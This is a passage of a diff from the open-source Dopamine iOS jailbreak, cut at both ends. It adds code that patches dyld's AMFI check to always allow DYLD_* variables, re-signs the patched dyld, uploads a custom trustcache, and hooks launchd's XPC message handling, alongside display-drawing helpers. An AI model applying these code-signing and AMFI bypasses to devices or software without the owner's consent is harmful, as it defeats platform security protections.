JBRootPath("/../../System/Library/Caches/com.apple.kernelcaches/kernelcache"); - xpc_object_t systemInfoXdict = NULL; + const char *kernelPath = prebootUUIDPath("/System/Library/Caches/com.apple.kernelcaches/kernelcache"); + xpc_object_t newSystemInfoXdict = NULL; // Rerun patchfinder int r = xpf_start_with_kernel_path(kernelPath); const char *error = NULL; if (r == 0) { - const char *sets[] = { + char *sets[] = { "translation", "trustcache", + "sandbox", "physmap", "struct", "physrw", "perfkrw", - "badRecovery", - NULL + NULL, + NULL, + NULL, + NULL, }; - - if (!xpf_set_is_supported("badRecovery")) { - sets[(sizeof(sets)/sizeof(sets[0]))-2] = NULL; + + uint32_t idx = 7; + if (xpf_set_is_supported("devmode")) { + sets[idx++] = "devmode"; + } + if (xpf_set_is_supported("badRecovery")) { + sets[idx++] = "badRecovery"; + } + if (xpf_set_is_supported("arm64kcall")) { + sets[idx++] = "arm64kcall"; } - systemInfoXdict = xpf_construct_offset_dictionary(sets); - if (!systemInfoXdict) { + + newSystemInfoXdict = xpf_construct_offset_dictionary((const char **)sets); + if (!newSystemInfoXdict) { error = xpf_get_error(); } xpf_stop(); @@ -147,16 +157,12 @@ void jbupdate_update_system_info(void) dlclose(xpfHandle); - // Get stuff that won't change from current info - xpc_dictionary_set_uint64(systemInfoXdict, "kernelConstant.staticBase", kconstant(staticBase)); - xpc_dictionary_set_uint64(systemInfoXdict, "kernelConstant.slide", kconstant(slide)); - xpc_dictionary_set_uint64(systemInfoXdict, "kernelConstant.base", kconstant(base)); - xpc_dictionary_set_uint64(systemInfoXdict, "kernelConstant.virtBase", kconstant(virtBase)); - xpc_dictionary_set_uint64(systemInfoXdict, "kernelConstant.physBase", kconstant(physBase)); - xpc_dictionary_set_uint64(systemInfoXdict, "kernelConstant.physSize", kconstant(physSize)); - xpc_dictionary_set_uint64(systemInfoXdict, "kernelConstant.cpuTTEP", kconstant(cpuTTEP)); - xpc_dictionary_set_bool(systemInfoXdict, "jailbreakInfo.usesPACBypass", jbinfo(usesPACBypass)); - xpc_dictionary_set_string(systemInfoXdict, "jailbreakInfo.rootPath", jbinfo(rootPath)); + // Get old info and merge new info into it + xpc_object_t systemInfoXdict = jbinfo_get_serialized(); + xpc_dictionary_apply(newSystemInfoXdict, ^_Bool(const char *key, xpc_object_t xobj) { + xpc_dictionary_set_value(systemInfoXdict, key, xobj); + return true; + }); // Rebuild gSystemInfo jbinfo_initialize_dynamic_offsets(systemInfoXdict); @@ -174,4 +180,69 @@ void jbupdate_finalize_stage1(const char *prevVersion, const char *newVersion) void jbupdate_finalize_stage2(const char *prevVersion, const char *newVersion) { jbupdate_update_system_info(); + + if (strcmp(prevVersion, "2.4") < 0 && strcmp(newVersion, "2.4") >= 0) { + // On Dopamine <= 2.3, dyld used to be a file on the fakelib mount + // Due to that, the fakelib mount cannot be unmounted, or else the system will panic + // Additionally it cannot be modified because bind mounts are weird and won't update correctly + // In >= 2.4 dyld is a symlink to elsewhere, which allows it to be updated and the bind mount to be unmounted + // But if we're coming from <= 2.3, we have no option other than to reboot the device + reboot(0); + } + + // Legacy, this file is no longer used + if (!access(JBROOT_PATH("/basebin/.idownloadd_enabled"), F_OK)) { + remove(JBROOT_PATH("/basebin/.idownloadd_enabled")); + } + + if (strcmp(prevVersion, "2.1") < 0 && strcmp(newVersion, "2.1") >= 0) { + // Default value for this pref is true + // Set it during jbupdate if prev version is <2.1 and new version is >=2.1 + gSystemInfo.jailbreakSettings.markAppsAsDebugged = true; + +#ifndef __arm64e__ + // Initialize kcall only after we have the offsets required for it + arm64_kcall_init(); +#endif + } + + // Update patched dyld + int r = basebin_generate(YES); + if (r != 0) { + char msg[4000]; + snprintf(msg, 4000, "Dopamine: Updating patched dyld failed with error %d, cannot continue.", r); + abort_with_reason(7, 1, msg, 0); + } + + // Update dyld trustcache + cdhash_t *cdhashes = NULL; + uint32_t cdhashesCount = 0; + file_collect_untrusted_cdhashes_by_path(JBROOT_PATH("/basebin/.fakelib/dyld"), &cdhashes, &cdhashesCount); + + if (cdhashesCount > 1) { + char msg[4000]; + snprintf(msg, 4000, "Dopamine: Updating patched dyld failed due to unexpected amount of cdhashes (%d), cannot continue.", cdhashesCount); + abort_with_reason(7, 1, msg, 0); + } + else if (cdhashesCount == 1) { + trustcache_file_v1 *dyldTCFile = NULL; + r = trustcache_file_build_from_cdhashes(cdhashes, cdhashesCount, &dyldTCFile); + free(cdhashes); + if (r != 0) { + char msg[4000]; + snprintf(msg, 4000, "Dopamine: Building dyld trustcache failed with error %d, cannot continue.", r); + abort_with_reason(7, 1, msg, 0); + } + + r = trustcache_file_upload_with_uuid(dyldTCFile, DYLD_TRUSTCACHE_UUID); + if (r != 0) { + char msg[4000]; + snprintf(msg, 4000, "Dopamine: Updating dyld trustcache failed with error %d, cannot continue.", r); + abort_with_reason(7, 1, msg, 0); + } + + free(dyldTCFile); + } + + JBFixMobilePermissions(); } \ No newline at end of file diff --git a/BaseBin/launchdhook/src/xpc_hook.c b/BaseBin/launchdhook/src/xpc_hook.c index 9224c97ffe..b41f90d08f 100644 --- a/BaseBin/launchdhook/src/xpc_hook.c +++ b/BaseBin/launchdhook/src/xpc_hook.c @@ -4,29 +4,52 @@ #include #include #include -#include "substrate.h" +#include #include -/*#undef JBLogDebug -void JBLogDebug(const char *format, ...) -{ - va_list va; - va_start(va, format); - - FILE *launchdLog = fopen("/var/mobile/launchd-xpc.log", "a"); - vfprintf(launchdLog, format, va); - fprintf(launchdLog, "\n"); - fclose(launchdLog); - - va_end(va); -}*/ +mach_msg_header_t* dispatch_mach_msg_get_msg(void *message, size_t *_Nullable size_ptr); +int jbserver_received_mach_message(audit_token_t *auditToken, struct jbserver_mach_msg *jbsMachMsg); +int jbserver_received_complex_mach_message(audit_token_t *auditToken, uint64_t action, struct jbserver_mach_complex_msg *jbsMachMsg); -int xpc_receive_mach_msg(void *a1, void *a2, void *a3, void *a4, xpc_object_t *xOut); -int (*xpc_receive_mach_msg_orig)(void *a1, void *a2, void *a3, void *a4, xpc_object_t *xOut); -int xpc_receive_mach_msg_hook(void *a1, void *a2, void *a3, void *a4, xpc_object_t *xOut) +int xpc_receive_mach_msg(void *msg, void *a2, void *a3, void *a4, xpc_object_t *xOut); +int (*xpc_receive_mach_msg_orig)(void *msg, void *a2, void *a3, void *a4, xpc_object_t *xOut); +int xpc_receive_mach_msg_hook(void *msg, void *a2, void *a3, void *a4, xpc_object_t *xOut) { - int r = xpc_receive_mach_msg_orig(a1, a2, a3, a4, xOut); - if (r == 0) { + size_t msgBufSize = 0; + struct jbserver_mach_msg *jbsMachMsg = (struct jbserver_mach_msg *)dispatch_mach_msg_get_msg(msg, &msgBufSize); + bool wasProcessed = false; + if (jbsMachMsg != NULL && msgBufSize >= sizeof(mach_msg_header_t)) { + size_t msgSize = jbsMachMsg->hdr.msgh_size; + if (msgSize <= msgBufSize && msgSize >= sizeof(struct jbserver_mach_msg) && jbsMachMsg->magic == JBSERVER_MACH_MAGIC) { + mach_msg_context_trailer_t *trailer = (mach_msg_context_trailer_t *)((uint8_t *)jbsMachMsg + round_msg(jbsMachMsg->hdr.msgh_size)); + jbserver_received_mach_message(&trailer->msgh_audit, jbsMachMsg); + wasProcessed = true; + // Pass the message to xpc_receive_mach_msg anyway, it will get rid of it for us + } + } + // Not needed, since we don't have any complex messages at the moment + /*struct jbserver_mach_complex_msg *jbsComplexMachMsg = (struct jbserver_mach_complex_msg *)jbsMachMsg; + if (!wasProcessed && jbsComplexMachMsg != NULL && msgBufSize >= sizeof(struct jbserver_mach_complex_msg)) { + // Warning: Witchcraft incoming + size_t msgSize = jbsComplexMachMsg->hdr.msgh_size; + if (jbsComplexMachMsg->hdr.msgh_bits & MACH_MSGH_BITS_COMPLEX) { + uintptr_t magicOff = sizeof(struct jbserver_mach_complex_msg) + (jbsComplexMachMsg->body.msgh_descriptor_count * sizeof(mach_msg_port_descriptor_t)); + uintptr_t actionOff = magicOff + sizeof(uint64_t); + if (msgSize >= (actionOff + sizeof(uint64_t))) { + uint64_t magic = *(uint64_t *)(((uintptr_t)jbsComplexMachMsg) + magicOff); + if (magic == JBSERVER_MACH_MAGIC) { + uint64_t action = *(uint64_t *)(((uintptr_t)jbsComplexMachMsg) + actionOff); + mach_msg_context_trailer_t *trailer = (mach_msg_context_trailer_t *)((uint8_t *)jbsComplexMachMsg + round_msg(jbsComplexMachMsg->hdr.msgh_size)); + jbserver_received_complex_mach_message(&trailer->msgh_audit, action, jbsComplexMachMsg); + wasProcessed = true; + // Pass the message to xpc_receive_mach_msg anyway, it will get rid of it for us + } + } + } + }*/ + + int r = xpc_receive_mach_msg_orig(msg, a2, a3, a4, xOut); + if (!wasProcessed && r == 0 && xOut && *xOut) { if (jbserver_received_xpc_message(&gGlobalServer, *xOut) == 0) { // Returning non null here makes launchd disregard this message // For jailbreak messages we have the logic to handle them diff --git a/BaseBin/libjailbreak/Makefile b/BaseBin/libjailbreak/Makefile index 1b3bc5b616..6c818106f0 100644 --- a/BaseBin/libjailbreak/Makefile +++ b/BaseBin/libjailbreak/Makefile @@ -2,14 +2,13 @@ TARGET = libjailbreak.dylib CC = clang -#CFLAGS = -framework Foundation -framework CoreServices -framework Security -framework IOKit -framework IOSurface -I../.include -isysroot $(shell xcrun --sdk iphoneos --show-sdk-path) -arch arm64e -miphoneos-version-min=15.0 -fobjc-arc -dynamiclib -install_name @loader_path/$(TARGET) -O3 -CFLAGS = -framework Foundation -framework CoreServices -framework Security -framework IOKit -framework IOSurface -I../.include -isysroot $(shell xcrun --sdk iphoneos --show-sdk-path) -arch arm64 -arch arm64e -miphoneos-version-min=15.0 -fobjc-arc -dynamiclib -install_name @loader_path/$(TARGET) -I$(shell brew --prefix)/opt/libarchive/include -g -LDFLAGS = -larchive -lbsm -L../.build -lchoma +CFLAGS = -framework Foundation -framework CoreServices -framework Security -framework IOKit -framework IOSurface -framework IOMobileFramebuffer -framework CoreGraphics -framework ImageIO -lMobileGestalt -I../.include -I../_external/modules/litehook/src -isysroot $(shell xcrun --sdk iphoneos --show-sdk-path) -arch arm64 -arch arm64e -miphoneos-version-min=15.0 -fobjc-arc -dynamiclib -install_name @loader_path/$(TARGET) -I$(shell brew --prefix)/opt/libarchive/include -g -O2 +LDFLAGS = -larchive -lbsm -L../.build -F ../_external/frameworks -lchoma sign: $(TARGET) @ldid -S $< -$(TARGET): $(wildcard src/*.c src/*.m src/*.S) +$(TARGET): $(wildcard src/*.c src/*.m src/*.S ../_external/modules/litehook/src/*.c) $(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ clean: diff --git a/BaseBin/libjailbreak/src/basebin_gen.h b/BaseBin/libjailbreak/src/basebin_gen.h new file mode 100644 index 0000000000..f982ddaba4 --- /dev/null +++ b/BaseBin/libjailbreak/src/basebin_gen.h @@ -0,0 +1,8 @@ +#ifndef __BASEBIN_GEN_H +#define __BASEBIN_GEN_H + +#include + +int basebin_generate(bool comingFromJBUpdate); + +#endif \ No newline at end of file diff --git a/BaseBin/libjailbreak/src/basebin_gen.m b/BaseBin/libjailbreak/src/basebin_gen.m new file mode 100644 index 0000000000..d0e2a491ec --- /dev/null +++ b/BaseBin/libjailbreak/src/basebin_gen.m @@ -0,0 +1,158 @@ +#import "libjailbreak.h" +#import "carboncopy.h" +#import "codesign.h" +#import +#import + +int apply_dyld_patch(NSString *dyldPath, const char *newUUIDPrefix) +{ + MachO *dyldMacho = macho_init_for_writing(dyldPath.fileSystemRepresentation); + if (!dyldMacho) return -1; + + __block int r = 0; + + // Make AMFI flags always be `0xff`, allows DYLD_* variables to always work + __block uint64_t getAMFIAddr = 0; + macho_enumerate_symbols(dyldMacho, ^(const char *name, uint8_t type, uint64_t vmaddr, bool *stop){ + if (!strcmp(name, "__ZN5dyld413ProcessConfig8Security7getAMFIERKNS0_7ProcessERNS_15SyscallDelegateE")) { + getAMFIAddr = vmaddr; + } + }); + uint32_t getAMFIPatch[] = { + 0xd2801fe0, // mov x0, 0xff + 0xd65f03c0 // ret + }; + + if (getAMFIAddr == 0) { + printf("Error: Failed patchfinding getAMFI\n"); + return -1; + } + + macho_write_at_vmaddr(dyldMacho, getAMFIAddr, sizeof(getAMFIPatch), getAMFIPatch); + + // iOS 16+: Change LC_UUID to prevent the kernel from using the in-cache dyld + macho_enumerate_load_commands(dyldMacho, ^(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop) { + if (loadCommand.cmd == LC_UUID) { + // The new UUID will look like this: + // DOPA\0 + // This way we ensure: + // - The version it was patched on and it being patched by Dopamine is identifiable later + // - The UUID is still unique based on the source dyld that was patched + + size_t newUUIDPrefixLen = strlen(newUUIDPrefix) + 1; + if (newUUIDPrefixLen <= sizeof(uuid_t)) { + // Also write null byte here, because otherwise it's impossible to know where the version string ends + macho_write_at_offset(dyldMacho, offset + offsetof(struct uuid_command, uuid), newUUIDPrefixLen, newUUIDPrefix); + } + else { + r = -1; + printf("Error: Failed to write identifier to LC_UUID, too long (%zu)\n", newUUIDPrefixLen); + } + *stop = true; + } + }); + + macho_free(dyldMacho); + return r; +} + +NSString *dyldhook_dylib_for_platform(void) +{ + cpu_subtype_t cpusubtype = 0; + size_t len = sizeof(cpusubtype); + if (sysctlbyname("hw.cpusubtype", &cpusubtype, &len, NULL, 0) == -1) { return nil; } + if ((cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E) { + if (@available(iOS 16.0, *)) { + return @"dyldhook_merge.arm64e.dylib"; + } + else { + return @"dyldhook_merge.arm64e.iOS15.dylib"; + } + } + else { + if (@available(iOS 16.0, *)) { + return @"dyldhook_merge.arm64.dylib"; + } + else { + return @"dyldhook_merge.arm64.iOS15.dylib"; + } + } +} + +int merge_dyldhook(NSString *originalDyldPath, NSString *outPath) +{ + NSString *dyldhookMergeDylibName = dyldhook_dylib_for_platform(); + if (!dyldhookMergeDylibName) { + printf("Error: Failed to locate dyldhook.dylib\n"); + return -1; + } + + NSString *dyldhookMergeDylibPath = [JBROOT_PATH(@"/basebin") stringByAppendingPathComponent:dyldhookMergeDylibName]; + int r = exec_cmd(JBROOT_PATH("/basebin/MachOMerger"), originalDyldPath.fileSystemRepresentation, dyldhookMergeDylibPath.fileSystemRepresentation, outPath.fileSystemRepresentation, NULL); + if (r == 0) { + r = chmod(outPath.fileSystemRepresentation, 0755); + } + return r; +} + +int basebin_generate(bool comingFromJBUpdate) +{ + NSString *basebinPath = JBROOT_PATH(@"/basebin"); + NSString *genPath = JBROOT_PATH(@"/basebin/gen"); + NSString *fakelibPath = JBROOT_PATH(@"/basebin/.fakelib"); + NSString *systemhookPath = JBROOT_PATH(@"/basebin/systemhook.dylib"); + + [[NSFileManager defaultManager] createDirectoryAtPath:genPath withIntermediateDirectories:YES attributes:nil error:nil]; + + NSString *fakelibDyldPath = [fakelibPath stringByAppendingPathComponent:@"dyld"]; + NSString *fakelibSystemHookPath = [fakelibPath stringByAppendingPathComponent:@"systemhook.dylib"]; + + NSString *dyldOrigPath = [genPath stringByAppendingPathComponent:@"dyld.orig"]; + NSString *dyldInflightPath = [genPath stringByAppendingPathComponent:@"dyld.inflight"]; + NSString *dyldOldPath = [genPath stringByAppendingPathComponent:@"dyld.old"]; + NSString *dyldPatchedPath = [genPath stringByAppendingPathComponent:@"dyld"]; + + NSString *dopamineVersion = [NSString stringWithContentsOfFile:JBROOT_PATH(@"/basebin/.version") encoding:NSUTF8StringEncoding error:nil]; + if (!dopamineVersion) return 1; + + if (!comingFromJBUpdate) { + // Copy /usr/lib to /var/jb/basebin/.fakelib + [[NSFileManager defaultManager] removeItemAtPath:fakelibPath error:nil]; + [[NSFileManager defaultManager] createDirectoryAtPath:fakelibPath withIntermediateDirectories:YES attributes:nil error:nil]; + carbonCopy(@"/usr/lib", fakelibPath); + + // Delete the dyld inside .fakelib + [[NSFileManager defaultManager] removeItemAtPath:fakelibDyldPath error:nil]; + + // Symlink .fakelib/dyld -> /var/jb/basebin/gen/dyld + [[NSFileManager defaultManager] createSymbolicLinkAtPath:fakelibDyldPath withDestinationPath:dyldPatchedPath error:nil]; + + // Symlink .fakelib/systemhook.dylib -> /var/jb/basebin/systemhook.dylib + [[NSFileManager defaultManager] createSymbolicLinkAtPath:fakelibSystemHookPath withDestinationPath:systemhookPath error:nil]; + + // Backup original dyld + carbonCopy(@"/usr/lib/dyld", dyldOrigPath); + } + + carbonCopy(dyldOrigPath, dyldInflightPath); + + NSString *dyldUUIDPrefix = [@"DOPA" stringByAppendingString:dopamineVersion]; + if (apply_dyld_patch(dyldInflightPath, dyldUUIDPrefix.UTF8String) != 0) return 2; + if (merge_dyldhook(dyldInflightPath, dyldInflightPath) != 0) return 3; + if (resign_file(dyldInflightPath, @"com.apple.dyld", YES) != 0) return 4; + + if (comingFromJBUpdate) { + // We cannot delete dyld as this point because it's still in use + // If we did this, we'd panic the system + // So we will move the past patched dyld to dyld.old to keep the vnode alive + // If there is another dyld.old at this point, we will remove it now + // since it is guaranteed to not be in use at this point + if ([[NSFileManager defaultManager] fileExistsAtPath:dyldOldPath]) { + [[NSFileManager defaultManager] removeItemAtPath:dyldOldPath error:nil]; + } + [[NSFileManager defaultManager] moveItemAtPath:dyldPatchedPath toPath:dyldOldPath error:nil]; + } + + [[NSFileManager defaultManager] moveItemAtPath:dyldInflightPath toPath:dyldPatchedPath error:nil]; + return 0; +} \ No newline at end of file diff --git a/BaseBin/libjailbreak/src/carboncopy.h b/BaseBin/libjailbreak/src/carboncopy.h new file mode 100644 index 0000000000..b6f777ec62 --- /dev/null +++ b/BaseBin/libjailbreak/src/carboncopy.h @@ -0,0 +1,8 @@ +#ifndef __CARBONCOPY_H +#define __CARBONCOPY_H + +#import + +int carbonCopy(NSString *sourcePath, NSString *targetPath); + +#endif \ No newline at end of file diff --git a/BaseBin/jbctl/src/carboncopy.m b/BaseBin/libjailbreak/src/carboncopy.m similarity index 100% rename from BaseBin/jbctl/src/carboncopy.m rename to BaseBin/libjailbreak/src/carboncopy.m diff --git a/BaseBin/libjailbreak/src/codesign.h b/BaseBin/libjailbreak/src/codesign.h index 03ceb925f7..5794dedce3 100644 --- a/BaseBin/libjailbreak/src/codesign.h +++ b/BaseBin/libjailbreak/src/codesign.h @@ -61,4 +61,9 @@ int csops(pid_t pid, unsigned int ops, void * useraddr, size_t usersize); int csops_audittoken(pid_t pid, unsigned int ops, void * useraddr, size_t usersize, audit_token_t * token); +#ifdef __OBJC__ +#import +int resign_file(NSString *filePath, NSString *identifier, bool preserveMetadata); +#endif + #endif \ No newline at end of file diff --git a/BaseBin/jbctl/src/codesign.m b/BaseBin/libjailbreak/src/codesign.m similarity index 95% rename from BaseBin/jbctl/src/codesign.m rename to BaseBin/libjailbreak/src/codesign.m index 9d479b70e9..c0fabe32ff 100644 --- a/BaseBin/jbctl/src/codesign.m +++ b/BaseBin/libjailbreak/src/codesign.m @@ -1,7 +1,7 @@ #include #include #include -#import +#import "libjailbreak.h" #ifdef __cplusplus extern "C" { @@ -65,6 +65,7 @@ OSStatus SecStaticCodeCreateWithPathAndAttributes(CFURLRef path, SecCSFlags flag typedef struct __SecCodeSigner* SecCodeSignerRef SPI_AVAILABLE(macos(10.5), ios(15.0), macCatalyst(13.0)); #endif +extern const CFStringRef kSecCodeSignerTeamIdentifier SPI_AVAILABLE(macos(10.5), ios(15.0), macCatalyst(13.0)); extern const CFStringRef kSecCodeSignerEntitlements SPI_AVAILABLE(macos(10.5), ios(15.0), macCatalyst(13.0)); extern const CFStringRef kSecCodeSignerIdentifier SPI_AVAILABLE(macos(10.5), ios(15.0), macCatalyst(13.0)); extern const CFStringRef kSecCodeSignerIdentity SPI_AVAILABLE(macos(10.5), ios(15.0), macCatalyst(13.0)); @@ -90,7 +91,7 @@ OSStatus SecCodeSignerAddSignatureWithErrors(SecCodeSignerRef signer, SecStaticC } #endif -int resign_file(NSString *filePath, bool preserveMetadata) +int resign_file(NSString *filePath, NSString *identifier, bool preserveMetadata) { OSStatus status = 0; int retval = 200; @@ -103,6 +104,10 @@ int resign_file(NSString *filePath, bool preserveMetadata) parameters[(__bridge NSString*)kSecCodeSignerPreserveMetadata] = @(kSecCSPreserveIdentifier | kSecCSPreserveRequirements | kSecCSPreserveEntitlements | kSecCSPreserveResourceRules); } + if (identifier) { + parameters[(__bridge NSString *)kSecCodeSignerIdentifier] = identifier; + } + SecCodeSignerRef signerRef; status = SecCodeSignerCreate((__bridge CFDictionaryRef)parameters, kSecCSDefaultFlags, &signerRef); if (status == 0) { diff --git a/BaseBin/libjailbreak/src/display.h b/BaseBin/libjailbreak/src/display.h new file mode 100644 index 0000000000..679adb5451 --- /dev/null +++ b/BaseBin/libjailbreak/src/display.h @@ -0,0 +1,20 @@ +#ifndef LJB_DISPLAY_H +#define LJB_DISPLAY_H + +#import +#import + +CGSize find_display_size(void); + +int draw_image_to_buf(CGImageRef cgImage, IOMobileFramebufferDisplaySize size, CGFloat rotation, void **bufOut, size_t *bufSizeOut); +int draw_image_to_buf_for_main_screen(CGImageRef image, void **bufOut, size_t *bufSizeOut); +int draw_image_path_to_buf(const char* image_path, IOMobileFramebufferDisplaySize size, CGFloat rotation, void **bufOut, size_t *bufSizeOut); +int draw_image_path_to_buf_for_main_screen(const char* image_path, void **bufOut, size_t *bufSizeOut); +int save_image_bitmap_to_plist(CGImageRef imageRef, const char *outPath); +CGImageRef load_image_from_bitmap_plist(const char *bitmapPlistPath); +int display_draw_raw_path(const char *path); +int display_draw_raw(void *rawBuf, size_t rawBufSize); +int display_draw_image_path(const char* image_path); +int display_draw_image(CGImageRef cgImage); + +#endif diff --git a/BaseBin/libjailbreak/src/display.m b/BaseBin/libjailbreak/src/display.m new file mode 100644 index 0000000000..52e71f0f32 --- /dev/null +++ b/BaseBin/libjailbreak/src/display.m @@ -0,0 +1,408 @@ +#include "display.h" + +#import +#import +#import +#import +#import +#import +#import +#import + +#define RADIANS(degrees) ( degrees * M_PI / 180 ) + +CFTypeRef MGCopyAnswer(CFStringRef str); + +struct display { + bool inited; + void *base; + IOMobileFramebufferDisplaySize size; + int bytesPerRow; + IOMobileFramebufferRef display; + IOSurfaceRef surface; +} gDisplay; + +int display_update(void) +{ + if (!gDisplay.display) return -1; + + int token; + IOMobileFramebufferSwapBegin(gDisplay.display, &token); + IOMobileFramebufferSwapSetLayer(gDisplay.display, 0, gDisplay.surface, (CGRect){ { 0, 0 }, { gDisplay.size.width, gDisplay.size.height } }, (CGRect){ { 0, 0 }, { gDisplay.size.width, gDisplay.size.height } }, 0); + return IOMobileFramebufferSwapEnd(gDisplay.display); +} + +IOMobileFramebufferReturn find_target_display(IOMobileFramebufferRef *pointer) +{ + if (!pointer) return -1; + + IOMobileFramebufferReturn r = IOMobileFramebufferGetMainDisplay(pointer); + if (r != 0) { + r = IOMobileFramebufferGetSecondaryDisplay(pointer); + } + + return r; +} + +CGSize find_display_size(void) +{ + CGSize displaySize = CGSizeMake(0,0); + + IOMobileFramebufferRef targetDisplay; + IOMobileFramebufferReturn r = find_target_display(&targetDisplay); + if (r == 0) { + IOMobileFramebufferGetDisplaySize(targetDisplay, &displaySize); + } + else { + // If we aren't entitled to get the display info from IOMobileFramebuffer, get it from GraphicsServices instead + static CGSize (*__GSMainScreenPixelSize)(void) = NULL; + if (!__GSMainScreenPixelSize) { + void *graphicsServiceHandle = dlopen("/System/Library/PrivateFrameworks/GraphicsServices.framework/GraphicsServices", RTLD_NOW); + __GSMainScreenPixelSize = dlsym(graphicsServiceHandle, "GSMainScreenPixelSize"); + } + + if (__GSMainScreenPixelSize) { + displaySize = __GSMainScreenPixelSize(); + } + } + + return displaySize; +} + +IOSurfaceRef create_iosurface_for_display(IOMobileFramebufferDisplaySize size, uint32_t cacheMode) +{ + size_t bytesPerRow = IOSurfaceAlignProperty(kIOSurfaceBytesPerRow, 4 * size.width); + + NSDictionary *properties = @{ + (__bridge id)kIOSurfaceWidth : @(size.width), + (__bridge id)kIOSurfaceHeight : @(size.height), + (__bridge id)kIOSurfacePixelFormat : @0x42475241, // 'ARGB' + (__bridge id)kIOSurfaceBytesPerRow : @(bytesPerRow), + (__bridge id)kIOSurfaceCacheMode : @(cacheMode), + }; + + return IOSurfaceCreate((__bridge CFDictionaryRef)properties); +} + +int display_init_internal(bool useDCPFlags) +{ + if (gDisplay.inited) return 0; + + int r = find_target_display(&gDisplay.display); + if (r) return r; + gDisplay.size = find_display_size(); + + gDisplay.surface = create_iosurface_for_display(gDisplay.size, useDCPFlags ? kIOMapWriteCombineCache | kIOMapInhibitCache | kIOMapWriteThruCache | kIOMapCopybackCache : kIOMapWriteCombineCache); + + IOSurfaceLock(gDisplay.surface, 0, 0); + gDisplay.base = IOSurfaceGetBaseAddress(gDisplay.surface); + gDisplay.bytesPerRow = IOSurfaceGetBytesPerRow(gDisplay.surface); + IOSurfaceUnlock(gDisplay.surface, 0, 0); + + kern_return_t kr = display_update(); + if (kr == KERN_SUCCESS) { + gDisplay.inited = true; + } + else { + CFRelease(gDisplay.surface); + if (kr == kIOReturnBadMedia) { + return kIOReturnBadMedia; + } + return -1; + } + return 0; +} + +int display_init(void) +{ + int r = display_init_internal(false); + if (r == kIOReturnBadMedia) { + return display_init_internal(true); + } + return r; +} + +int display_reset(void) +{ + if (!gDisplay.base) return -1; + + memset(gDisplay.base, 0, gDisplay.size.height * gDisplay.bytesPerRow); + display_update(); + return 0; +} + +int draw_image_to_buf(CGImageRef cgImage, IOMobileFramebufferDisplaySize size, CGFloat rotation, void **bufOut, size_t *bufSizeOut) +{ + size_t bytesPerRow = IOSurfaceAlignProperty(kIOSurfaceBytesPerRow, 4 * size.width); + + int retval = -1; + CGContextRef context = NULL; + CGColorSpaceRef rgbColorSpace = NULL; + char *tmpBuf = NULL; + size_t bufSize = size.height * bytesPerRow; + + rgbColorSpace = CGColorSpaceCreateDeviceRGB(); + if (!rgbColorSpace) goto finish; + + tmpBuf = malloc(bufSize); + if (!tmpBuf) goto finish; + memset(tmpBuf, 0, bufSize); + + context = CGBitmapContextCreate(tmpBuf, size.width, size.height, 8, bytesPerRow, rgbColorSpace, kCGImageAlphaPremultipliedFirst | kCGImageByteOrder32Little); + if (!context) goto finish; + + CGFloat imageWidth = CGImageGetWidth(cgImage); + CGFloat imageHeight = CGImageGetHeight(cgImage); + + CGFloat radians = RADIANS(rotation); + CGFloat cosTheta = fabs(cos(radians)); + CGFloat sinTheta = fabs(sin(radians)); + + CGFloat rotatedWidth = imageWidth * cosTheta + imageHeight * sinTheta; + CGFloat rotatedHeight = imageWidth * sinTheta + imageHeight * cosTheta; + + CGFloat scale = MAX(size.width / rotatedWidth, size.height / rotatedHeight); + + CGContextTranslateCTM(context, size.width * 0.5, size.height * 0.5); + CGContextRotateCTM(context, radians); + CGContextScaleCTM(context, scale, scale); + + CGRect imageRect = CGRectMake(-imageWidth * 0.5, -imageHeight * 0.5, imageWidth, imageHeight); + + CGContextDrawImage(context, imageRect, cgImage); + + *bufOut = tmpBuf; + *bufSizeOut = bufSize; + tmpBuf = NULL; + retval = 0; + +finish: + if (context) CGContextRelease(context); + if (rgbColorSpace) CGColorSpaceRelease(rgbColorSpace); + if (tmpBuf) free(tmpBuf); + + return retval; +} + +BOOL is_ipad(void) +{ + CFStringRef deviceClass = MGCopyAnswer(CFSTR("DeviceClass")); + if (!deviceClass) return NO; + BOOL result = CFStringCompare(deviceClass, CFSTR("iPad"), 0) == kCFCompareEqualTo; + CFRelease(deviceClass); + return result; +} + +CGFloat get_main_screen_rotation(void) +{ + if (is_ipad()) { + CFNumberRef mainScreenOrientationNum = MGCopyAnswer(CFSTR("main-screen-orientation")); + if (mainScreenOrientationNum) { + unsigned long long mainScreenOrientation = [(__bridge NSNumber *)mainScreenOrientationNum unsignedLongLongValue]; + if (mainScreenOrientation == 0) { // iPads that have a non landscape base orientation... + CFNumberRef displayBootRotationNum = MGCopyAnswer(CFSTR("DisplayBootRotation")); + unsigned long long displayBootRotation = [(__bridge NSNumber *)displayBootRotationNum unsignedLongLongValue]; // ...need to take the displayBootRotation as the image rotation + + switch (displayBootRotation) { + case 0: + return 0; + case 90: + return 270; + case 180: + return 180; + case 270: + return 90; + } + } + else { // iPads that DO have a lanscape base orientation... + CFNumberRef displayBootRotationNum = MGCopyAnswer(CFSTR("DisplayBootRotation")); + unsigned long long displayBootRotation = [(__bridge NSNumber *)displayBootRotationNum unsignedLongLongValue]; + switch (displayBootRotation) { + case 0: + return 90; + case 90: + return 0; + case 180: + return 270; + case 270: + return 180; + } + } + } + } + + return 0; +} + +int draw_image_to_buf_for_main_screen(CGImageRef image, void **bufOut, size_t *bufSizeOut) +{ + return draw_image_to_buf(image, find_display_size(), get_main_screen_rotation(), bufOut, bufSizeOut); +} + +int display_draw_raw_path(const char *path) +{ + int retval = display_init(); + if (retval) return retval; + + bool worked = false; + int fd = open(path, O_RDONLY); + if (fd >= 0) { + struct stat s; + if (fstat(fd, &s) == 0) { + size_t displayBufSize = gDisplay.size.height * gDisplay.bytesPerRow; + if (displayBufSize == s.st_size) { + worked = true; + read(fd, gDisplay.base, s.st_size); + } + } + close(fd); + } + + if (!worked) return -1; + + return display_update(); +} + +static CGImageRef load_image(const char *image_path) +{ + CFURLRef imageURL = NULL; + CGImageSourceRef cgImageSource = NULL; + CGImageRef cgImage = NULL; + CFStringRef bootImageCfString = NULL; + + bootImageCfString = CFStringCreateWithCString(kCFAllocatorDefault, image_path, kCFStringEncodingUTF8); + if (!bootImageCfString) goto finish; + imageURL = CFURLCreateWithFileSystemPath(kCFAllocatorDefault, bootImageCfString, kCFURLPOSIXPathStyle, false); + if (!imageURL) goto finish; + cgImageSource = CGImageSourceCreateWithURL(imageURL, NULL); + if 